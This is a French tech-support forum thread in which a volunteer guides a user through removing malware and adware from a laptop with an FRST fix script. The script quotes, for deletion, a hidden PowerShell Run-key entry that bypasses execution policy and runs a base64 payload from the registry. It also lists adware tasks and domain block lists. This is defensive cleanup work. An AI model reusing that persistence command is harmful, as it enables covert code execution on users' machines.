Clavier dé-installer

Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   -  
 atypique65 -
Bonjour,

ma fille a un ordinateur Toshiba sattelite L755.

Ce matin il ne tapait plus certaines lettres, on a donc essayé de mettre à jour les pilotes, puis désinstaller le clavier pour ensuite le ré installer, après un re démarrage après la désinstallation du clavier, nous n'arrivons pas à le ré installer car il ne se trouve plus dans la liste.

Merci de votre aide


A voir également:

36 réponses

billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
re

il y a des logiciels/programmes a désinstaller via programmes et fonctionnalités du panneau de configuration

Spybot (tu as MBAM-MALWARESBYTES)

uTorrent (je pense que tu as connaissance de son utilité, et des éventuelles infections (Malwares) qu'il peut amener dans la pc

GigaTribe (lié à utorrent pour l'échange de fichier)
=========================
a mettre à jour

Adobe Flash Player 10 ActiveX

Java(TM) 6 Update 20

Mozilla Firefox 46.0.1

VLC media player 1.1.11
=========================
a désactiver au démarrage de Windows

MSCONFIG\startupreg: offerbox => C:\Program Files (x86)\OfferBox\OfferBox.exe
MSCONFIG\startupreg: PCSpeedUp => C:\Program Files (x86)\Accelerer PC\PCSUNotifier.exe

MSCONFIG\startupreg: swg => "C:\Program Files (x86)\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe"


PS:pour accéder à la fonction dans W10, fait ceci:

clique droit dans la barre des tâches

dans la fenêtre qui s'ouvre, clique sur le 4ème bouton "démarrage"

là, tu cliques sur les logiciels/programmes a désactiver pour les mettre en "surbrillance" et en bas de page à droite, tu cliques sur désactiver
=========================
la correction avec FRST

/!\Script uniquement pour cet ordinateur, à ne pas reproduire sur un autre ordinateur/!\

fait ceci:

ouvre le bloc-note

copie/colle le texte ci-dessous:

CreateRestorePoint:
CloseProcesses:
HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\Run: [{5B6D09A2-185A-40CE-A973-BBC38154695B}] => powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\CAdw').FNJLGGKDGA))); <==== ATTENTION
BootExecute: autocheck autochk * sdnclean64.exe
GroupPolicy: Restriction - Chrome <==== ATTENTION
CHR HKLM\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
AutoConfigURL: [S-1-5-21-2104711178-153884866-2757509783-1001] => file://C:\Program Files (x86)\DigiHelp\bin\Pac8807.js
Tcpip\..\Interfaces\{8612039d-5079-4e1f-a125-6eebea206e1c}: [DhcpNameServer] 172.20.2.10 172.20.2.39
Tcpip\..\Interfaces\{cbdaaaca-289c-4538-b9c4-c8f7e59061dc}: [DhcpNameServer] 172.20.10.1
ManualProxies: 0file://C:\Program Files (x86)\DigiHelp\bin\Pac8807.js
HKU\S-1-5-21-2104711178-153884866-2757509783-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.google.com/ig/redirectdomain?brand=TEUA&bmod=TEUA
SearchScopes: HKLM-x32 -> DefaultScope la valeur est absente
Toolbar: HKU\S-1-5-21-2104711178-153884866-2757509783-1001 -> Pas de nom - {2318C2B1-4965-11D4-9B18-009027A5CD4F} -  Pas de fichier
FF ProfilePath: C:\Users\Dents de cheval\AppData\Roaming\Zotero\Zotero\Profiles\e2uno48p.default [2013-03-07]
FF Extension: (Pas de nom) - C:\Program Files (x86)\Zotero Standalone\extensions\zoteroOpenOfficeIntegration@zotero.org [non trouvé(e)]
FF Extension: (Pas de nom) - C:\Program Files (x86)\Zotero Standalone\extensions\zoteroWinWordIntegration@zotero.org [non trouvé(e)]
CHR Extension: (Paiements via le Chrome Web Store) - C:\Users\Dents de cheval\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-08-22]
CHR Extension: (Chrome Media Router) - C:\Users\Dents de cheval\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-02-24]
CHR HKU\S-1-5-21-2104711178-153884866-2757509783-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [ifjamchknccokmaecnbknhbfhaicfafd] - C:\Users\Dents de cheval\AppData\Local\CRE\ifjamchknccokmaecnbknhbfhaicfafd.crx <non trouvé(e)>
2014-01-26 01:25 - 2016-09-11 15:41 - 000003584 _____ () C:\Users\Dents de cheval\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
2016-08-31 08:44 - 2016-08-31 08:44 - 000000057 _____ () C:\ProgramData\Ament.ini
2012-09-23 17:04 - 2014-11-11 19:40 - 000002600 _____ () C:\ProgramData\hpzinstall.log
Boxore Client (HKLM-x32\...\{A071D640-978E-4731-9B65-71ADA7566EA2}) (Version: 1.2.32.0 - Boxore OU) <==== ATTENTION
Google Toolbar for Internet Explorer (HKLM-x32\...\{18455581-E099-4BA8-BC6B-F34B2F06600C}) (Version: 1.0.0 - Google Inc.) Hidden
Yahoo Community Smartbar Engine (HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\{9cef65ba-e4f7-44fa-8b5e-0e427bffa84b}) (Version: 1.6.1.900 - Linkury Inc.) <==== ATTENTION
Task: {159809E0-169D-4BFD-96D8-B05B9A5DA85B} - \c033be35-a926-4e4e-af70-966fc7316158-6 -> Pas de fichier <==== ATTENTION
Task: {31E5F630-54A6-486B-AF3D-EB7E50A0EB56} - \c033be35-a926-4e4e-af70-966fc7316158-5 -> Pas de fichier <==== ATTENTION
Task: {3C39F03F-1845-47C7-B030-CED6DDBA8B2C} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> Pas de fichier <==== ATTENTION
Task: {480BFAC4-4AD3-4F0A-B551-1673DC45A122} - \c033be35-a926-4e4e-af70-966fc7316158-7 -> Pas de fichier <==== ATTENTION
Task: {4DF2B6A1-0ACA-4B20-A63C-72739CE3EF1A} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime -> Pas de fichier <==== ATTENTION
Task: {7089AC5D-B882-4A68-9D86-C131C66EBD41} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> Pas de fichier <==== ATTENTION
Task: {7C5044AC-4D10-471B-942F-F8F78661BF92} - \ConfigFree Startup Programs -> Pas de fichier <==== ATTENTION
Task: {7EE5ED9F-9472-4B78-80FE-3D9B7E4034F5} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime -> Pas de fichier <==== ATTENTION
Task: {80C54782-3037-4BEE-A4D2-9892DD8A1485} - \c033be35-a926-4e4e-af70-966fc7316158-3 -> Pas de fichier <==== ATTENTION
Task: {811675E3-3EB1-410D-AC45-B47709BC8314} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> Pas de fichier <==== ATTENTION
Task: {8E8C9D8B-F910-4700-B811-F98FDCE1FE76} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> Pas de fichier <==== ATTENTION
Task: {92149C3D-4021-454A-9561-BCE500FC2DDB} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> Pas de fichier <==== ATTENTION Task: {B16CAFEE-C66A-4F52-9AEC-DFC6D0067E0F} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> Pas de fichier <==== ATTENTION Task: {B3C0F5B0-D58D-4F9B-9C1F-8BD113FBBECE} - \OfficeSoftwareProtectionPlatform\SvcRestartTask -> Pas de fichier <==== ATTENTION
Task: {CC45D7FE-7DB9-436A-89A1-9635B5ABC3D3} - \Microsoft\Windows\Setup\GWXTriggers\OnIdle-5d -> Pas de fichier <==== ATTENTION
Task: {DCFA02B2-E381-4121-95D5-3A21A5ECF9B6} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d -> Pas de fichier <==== ATTENTION
Task: {DD335DF6-20DA-4B41-B0FE-46BC99B32CE3} - \c033be35-a926-4e4e-af70-966fc7316158-2 -> Pas de fichier <==== ATTENTION
Task: {DF40434E-8B89-4AC1-BBAD-65AD6E88D79B} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> Pas de fichier <==== ATTENTION
Task: {DFF540FE-8A33-4E8F-A076-CF7109E04A67} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> Pas de fichier <==== ATTENTION
Task: {E065A4B8-4CDC-4635-BD89-8E644644641E} - \Microsoft\Windows\Setup\gwx\rundetector -> Pas de fichier <==== ATTENTION
Task: {E7E37926-EDA3-46B0-A78E-FA237B1B7DF8} - \c033be35-a926-4e4e-af70-966fc7316158-1 -> Pas de fichier <==== ATTENTION
Task: {F30671A3-DDBA-45CC-BC1E-28866FAC99BB} - \c033be35-a926-4e4e-af70-966fc7316158-4 -> Pas de fichier <==== ATTENTION
Task: {F6129AA9-0325-4996-9432-02E016B6BC7F} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> Pas de fichier <==== ATTENTION
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\007guard.com -> install.007guard.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\008i.com -> 008i.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\008k.com -> www.008k.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\00hq.com -> www.00hq.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\010402.com -> 010402.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\0scan.com -> www.0scan.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\1-2005-search.com -> www.1-2005-search.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\1-domains-registrations.com -> www.1-domains-registrations.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\1000gratisproben.com -> www.1000gratisproben.com
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IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\10sek.com -> www.10sek.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\12-26.net -> user1.12-26.net
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IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\123fporn.info -> www.123fporn.info
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\123haustiereundmehr.com -> www.123haustiereundmehr.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\123moviedownload.com -> www.123moviedownload.com
IE restricted site: HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\123simsen.com -> www.123simsen.com
127.0.0.1	www.007guard.com
127.0.0.1	007guard.com
127.0.0.1	008i.com
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127.0.0.1	123haustiereundmehr.com
127.0.0.1	www.123haustiereundmehr.com
127.0.0.1	123moviedownload.com
127.0.0.1	www.123moviedownload.com
FirewallRules: [{1D78AF75-4E53-4F5F-BDBB-A43AAC2D8AEC}] => (Allow) C:\Program Files\Common Files\mcafee\mcsvchost\McSvHost.exe
FirewallRules: [{53676459-B9AA-4411-9678-78CDCAA643D7}] => (Allow) C:\Program Files\Common Files\mcafee\mcsvchost\McSvHost.exe
FirewallRules: [TCP Query User{B16113E3-F977-4663-BF3E-B358C54CC9F5}C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe] => (Allow) C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe
FirewallRules: [UDP Query User{82104266-C7A6-4AE0-8C99-94B87F89E16D}C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe] => (Allow) C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe
FirewallRules: [TCP Query User{7A7B5D53-D639-40E0-9911-27C6E50EE2AE}C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe] => (Block) C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe
FirewallRules: [UDP Query User{AEE1686F-5FAC-4F14-B1AF-9110E87A9864}C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe] => (Block) C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe
EmptyTemp:
Host:
RemoveProxy:
Reboot:


@+
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Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
bonsoir,

j'ai copié dans le bloc note FRST, mais cela ne fait rien. Je ne comprend pas bien ce qu'il faut faire en fait.

Le reste je verrais après car l'important serait déjà que je puisse retrouver mon clavier avec toutes ses lettres.
Pensez vous plus à un virus ? car peut-être que mon clavier est endommagé....

C'est gentil de m'aider c'est gentil.

Bonne soirée.
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
re

j'ai copié dans le bloc note FRST, mais cela ne fait rien. Je ne comprend pas bien ce qu'il faut faire en fait.

je t'ai dit dans 1 précédent message que FRST était dans le répertoire de "Download/Téléchargement" et qu'il fallait le mettre sur ton bureau

PS:pour le "fixlist" de FRST, si FRST n'est pas sur le bureau (dans ton cas dans Download), et que tu enregistres le fichier "Fixlist" sur le bureau, ça ne fonctionnera pas

il faut que FRST et Fixlist soit sur le bureau

Le reste je verrais après car l'important serait déjà que je puisse retrouver mon clavier avec toutes ses lettres.

erreur, fait les manipulations dans l'ordre ou je te les données, et ton clavier devrait être fonctionnel

1) l y a des logiciels/programmes a désinstaller via programmes et fonctionnalités du panneau de configuration

Spybot (tu as MBAM-MALWARESBYTES)

uTorrent (je pense que tu as connaissance de son utilité, et des éventuelles infections (Malwares) qu'il peut amener dans la pc

GigaTribe (lié à utorrent pour l'échange de fichier)

2) a mettre à jour

Adobe Flash Player 10 ActiveX

Java(TM) 6 Update 20

Mozilla Firefox 46.0.1

VLC media player 1.1.11

PS: pour mettre tes logiciels "non Windows à jour, tu peux utiliser "App Manager"

le lien de téléchargement >> https://filehippo.com/fr/windows/reglages-syst%C3%A8me-utilitaires/

comme tout logiciel, tu l'exécutes en tant qu'administrateur (clic droit)

3) a désactiver au démarrage de Windows

MSCONFIG\startupreg: offerbox => C:\Program Files (x86)\OfferBox\OfferBox.exe
MSCONFIG\startupreg: PCSpeedUp => C:\Program Files (x86)\Accelerer PC\PCSUNotifier.exe

MSCONFIG\startupreg: swg => "C:\Program Files (x86)\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe"


PS:pour accéder à la fonction dans W10, fait ceci:

clique droit dans la barre des tâches

dans la fenêtre qui s'ouvre, clique sur le 4ème bouton "démarrage"

là, tu cliques sur les logiciels/programmes a désactiver pour les mettre en "surbrillance" et en bas de page à droite, tu cliques sur désactiver

4) la correction avec FRST

la correction avec FRST

/!\Script uniquement pour cet ordinateur, à ne pas reproduire sur un autre ordinateur/!\

fait ceci:

ouvre le bloc-note

copie/colle le texte ci-dessous:

CreateRestorePoint:
CloseProcesses:
HKU\S-1-5-21-2104711178-153884866-2757509783-1001\...\Run: [{5B6D09A2-185A-40CE-A973-BBC38154695B}] => powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\CAdw').FNJLGGKDGA))); <==== ATTENTION
BootExecute: autocheck autochk * sdnclean64.exe
GroupPolicy: Restriction - Chrome <==== ATTENTION
CHR HKLM\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
AutoConfigURL: [S-1-5-21-2104711178-153884866-2757509783-1001] => file://C:\Program Files (x86)\DigiHelp\bin\Pac8807.js
Tcpip\..\Interfaces\{8612039d-5079-4e1f-a125-6eebea206e1c}: [DhcpNameServer] 172.20.2.10 172.20.2.39
Tcpip\..\Interfaces\{cbdaaaca-289c-4538-b9c4-c8f7e59061dc}: [DhcpNameServer] 172.20.10.1
ManualProxies: 0file://C:\Program Files (x86)\DigiHelp\bin\Pac8807.js
HKU\S-1-5-21-2104711178-153884866-2757509783-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.google.com/ig/redirectdomain?brand=TEUA&bmod=TEUA
SearchScopes: HKLM-x32 -> DefaultScope la valeur est absente
Toolbar: HKU\S-1-5-21-2104711178-153884866-2757509783-1001 -> Pas de nom - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - Pas de fichier
FF ProfilePath: C:\Users\Dents de cheval\AppData\Roaming\Zotero\Zotero\Profiles\e2uno48p.default [2013-03-07]
FF Extension: (Pas de nom) - C:\Program Files (x86)\Zotero Standalone\extensions\zoteroOpenOfficeIntegration@zotero.org [non trouvé(e)]
FF Extension: (Pas de nom) - C:\Program Files (x86)\Zotero Standalone\extensions\zoteroWinWordIntegration@zotero.org [non trouvé(e)]
CHR Extension: (Paiements via le Chrome Web Store) - C:\Users\Dents de cheval\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-08-22]
CHR Extension: (Chrome Media Router) - C:\Users\Dents de cheval\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-02-24]
CHR HKU\S-1-5-21-2104711178-153884866-2757509783-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [ifjamchknccokmaecnbknhbfhaicfafd] - C:\Users\Dents de cheval\AppData\Local\CRE\ifjamchknccokmaecnbknhbfhaicfafd.crx <non trouvé(e)>
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2012-09-23 17:04 - 2014-11-11 19:40 - 000002600 _____ () C:\ProgramData\hpzinstall.log
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FirewallRules: [{1D78AF75-4E53-4F5F-BDBB-A43AAC2D8AEC}] => (Allow) C:\Program Files\Common Files\mcafee\mcsvchost\McSvHost.exe
FirewallRules: [{53676459-B9AA-4411-9678-78CDCAA643D7}] => (Allow) C:\Program Files\Common Files\mcafee\mcsvchost\McSvHost.exe
FirewallRules: [TCP Query User{B16113E3-F977-4663-BF3E-B358C54CC9F5}C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe] => (Allow) C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe
FirewallRules: [UDP Query User{82104266-C7A6-4AE0-8C99-94B87F89E16D}C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe] => (Allow) C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe
FirewallRules: [TCP Query User{7A7B5D53-D639-40E0-9911-27C6E50EE2AE}C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe] => (Block) C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe
FirewallRules: [UDP Query User{AEE1686F-5FAC-4F14-B1AF-9110E87A9864}C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe] => (Block) C:\users\dents de cheval\appdata\roaming\cacaoweb\cacaoweb.exe
EmptyTemp:
Host:
RemoveProxy:
Reboot:

@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
Bonjour,
j'ai desinstallé les progammes embetants,
j'ai mis a jour mais je n'ai pas trouve adobe avec l'application, mais le reste est fait.
par contre je ne comprend rien pour les programmes au demarage, je ne les trouve pas, j'ai bien le processus avec le gestionnaire des taches mais apres je ne comprend pas ce qu'il faut retirer.
Apres pour win 10 quand je fais clic droit dans la barre des taches en bas je n'ai pas de bouton "demarrage"
je n'ai pas coller pour l'instant dans le bloc note tant que je n'ai pas fini le reste.
je vous remercie de m'aider, j'espere y arriver
0

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billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
salut

j'ai desinstallé les progammes embetants,
j'ai mis a jour mais je n'ai pas trouve adobe avec l'application, mais le reste est fait.


désinstalle Adobe via programmes et fonctionnalités du panneau de configuration, tu téléchargeras la dernière version par la suite

par contre je ne comprend rien pour les programmes au demarage, je ne les trouve pas, j'ai bien le processus avec le gestionnaire des taches mais apres je ne comprend pas ce qu'il faut retirer.

je t'ai mis la manipulation en image (clique sur l'image pour l'agrandir si besoin)



je n'ai pas coller pour l'instant dans le bloc note tant que je n'ai pas fini le reste.

quand tu auras terminé les autres manipulations, exécute la correction avec FRST

si tu as des questions...

@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
Dans les programmes, j'ai 2 adobe, le
- adobe flash player 10 active X
- adobe Reader X (10.1.3) MIU

Lequel des 2 désinstaller? On me propose aussi "réparer" pour flash player

Merci pou la manip impr ecran, c'est bien celle que je faisais mais je ne trouve pas les 2 programmes nommés Offerbox et acceler pc ou speed...
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
re

Dans les programmes, j'ai 2 adobe, le
- adobe flash player 10 active X
- adobe Reader X (10.1.3) MIU

Lequel des 2 désinstaller? On me propose aussi "réparer" pour flash player


désinstalle les 2, je te ferai télécharger les dernières versions par la suite

Merci pou la manip impr ecran, c'est bien celle que je faisais mais je ne trouve pas les 2 programmes nommés Offerbox et acceler pc ou speed...

c'est pas grave, ils seront "virés" avec le script

PS: quand tu auras supprimé les 2 Adobe, fait la correction avec FRST et poste le rapport

si tu as des questions...

@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
J'ai donc désinstallé les 2 adobe et refait l'analyse FRST mais comment vous la transmettre car je ne peux vous joindre que des fichiers image...
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
re

le rapport "texte" doit être sur ton bureau...

il doit aussi être dans C:\FRST\LOG

tu le postes avec cjoint (comme les rapports d'analyse)

@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
http://www.cjoint.com/c/GHFoH07z5FW

http://www.cjoint.com/c/GHFoJzZ24AW
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
re

ça se sont les scans de rapport (frst et addition)

tu dois avoir 1 rapport avec le nom de Fixlog

@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
non, je n'en ai qu'un seul du nom de fixlog mais il date du 21.01.2015, les seuls générés aujoudhui sont FRST et addition
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
re

non, je n'en ai qu'un seul du nom de fixlog mais il date du 21.01.2015, les seuls générés aujoudhui sont FRST et addition

tu es sur d'avoir fait la correction avec FRST?

@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
Oui en sélectionnant analyser
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
re

Oui en sélectionnant analyser

c'est normal que ça ne fonctionne pas, tu dois cliquer sur corriger quand tu as copié/collé le script dans le bloc-notes et que tu l'as enregistré sur ton bureau (là où se trouve FRST)



@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
Bonsoir,
je suis désolée ma fille n'a pas continué les manips car elle avait du mal à tout suivre. et surtout un grand manque de temps....
Elle est toujours embêtée avec son pc mais pense sérieusement à le changer.
Pour l'instant elle fonctionne avec le clavier virtuel.
Cordialement

Odile
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
salut

ok, elle ne pense pas reprendre la désinfection ultérieurement?

@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
Je ne pense pas mais si elle en rachète un je le récupérerai pour essayer de continuer.
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
re

Je ne pense pas mais si elle en rachète un je le récupérerai pour essayer de continuer.

ok, je supprime la discution de mes messages suivis, mais tu pourras créer 1 nouveau topic le jour où tu auras récupéré le pc

PS:merci pour le retour d'info

bonne continuation

@+
0
Odile68 Messages postés 138 Date d'inscription   Statut Membre Dernière intervention   2
 
Pas de soucis, merci beaucoup.
Bonne journée

Odile
0
billmaxime Messages postés 50583 Date d'inscription   Statut Contributeur Dernière intervention   6 046
 
salut

Pas de soucis, merci beaucoup.
Bonne journée


de rien, et bonne journée à toi aussi

@+
0